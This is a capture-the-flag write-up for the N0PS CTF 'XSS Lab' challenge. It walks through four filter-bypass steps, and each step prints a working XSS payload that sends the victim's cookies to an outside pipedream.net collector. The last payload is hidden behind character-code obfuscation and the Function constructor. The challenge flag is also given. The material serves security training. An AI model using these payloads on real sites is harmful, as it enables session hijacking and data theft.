Home [N0PS CTF] - XSS Lab
Post
Cancel

[N0PS CTF] - XSS Lab


We got an access to a training resource from WebTopia, where they practise XSS filter bypassing. Enjoy it!




Table of contents:




Step 1

2

Since the payload isn’t filtered, we can directly inject a script tag like this:

1
<script>document.location='https://eo4mg2uuwtytyew.m.pipedream.net/?STEP1='.concat(document.cookie);</script>

2

/0d566d04bbc014c2d1d0902ad50a4122

Step 2

2

The payload is filtered by the following regex .*(script|(</.*>)).*, which blocks anything containing script and anything containing a closing tag like </...>. We can therefore bypass this filter by injecting an img tag:

1
<img src=x onerror="new Image().src='https://eo4mg2uuwtytyew.m.pipedream.net/?STEP2='+document.cookie">

2

/5d1aaeadf1b52b4f2ab7042f3319a267

Step 3

2

This filter blocks:

  • :// → prevents URLs

  • script → blocks any mention of “script”

  • </.*> → blocks any closing tag

  • on\w+\s*= → blocks all JS event attributes, such as:

    • onerror=

    • onload=

    • onclick=

    • etc.

To bypass this filter, we can simply use the previous payload but write the “onerror” in uppercase. Also, when specifying a URL like //domain.com, the browser automatically uses the same protocol as the current page (http or https). This lets us bypass the restriction on ://.

1
<img src=x ONERROR="new Image().src='//eo4mg2uuwtytyew.m.pipedream.net/?STEP3='+document.cookie">

2

/b355082fc794c4d1d2b6c02e04163090

Step 4

2

Regex:

1
(?i:(.*(/|script|(</.*>)|document|cookie|eval|string|(\"|'|`).*(('.+')|(\".+\")|(`.+`)).*(\"|'|`)).*))|(on\w+\s*=)|\+|!

This last step is quite tricky since the filter is very restrictive.

The filter forbids:

  • <script>

  • </...> (closing tags)

  • document, cookie, eval and string

  • " ' ` (quotes and backticks)

  • on\w+\s*= (attributes like onXXX=, at the beginning of the payload)

  • + and !

  • ://

And this applies regardless of letter case.

After several unsuccessful attempts, I had the idea to access the global function Function directly by using the constructor function.

2

This way, we can access any JavaScript method without directly specifying their name. For example, we can access the String function like this:

2

Now that we have access to the String function, we can simply use the fromCharCode method and write our code by replacing each letter with its corresponding charCode.

2

The goal is to execute a function containing the following code:

window.location.replace('https://eo4mg2uuwtytyew.m.pipedream.net/?STEP4'.concat(document.cookie))

So, we get the corresponding char codes, which gives us:

1
2
3
4
119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,39,
104,116,116,112,115,58,47,47,101,111,52,109,103,50,117,117,119,116,121,116,121,101,119,46,109,
46,112,105,112,101,100,114,101,97,109,46,110,101,116,47,63,83,84,69,80,52,39,46,99,111,110,99,
97,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41

Altogether, this allows us to create a function that will redirect the bot to our endpoint along with its cookies:

2

Finally, I got this payload that lets us complete the last step!

1
2
3
4
5
<svg onload=[].constructor.constructor(window.name.constructor.fromCharCode(119,105,110,100,111,
119,46,108,111,99,97,116,105,111,110,46,114,101,112,108,97,99,101,40,39,104,116,116,112,115,58,
47,47,101,111,52,109,103,50,117,117,119,116,121,116,121,101,119,46,109,46,112,105,112,101,100,
114,101,97,109,46,110,101,116,47,63,83,84,69,80,52,39,46,99,111,110,99,97,116,40,100,111,99,117,
109,101,110,116,46,99,111,111,107,105,101,41,41))()>

2

🚩 N0PS{n0w_Y0u_4r3_x55_Pr0}

Thanks for reading !

This post is licensed under CC BY 4.0 by the author.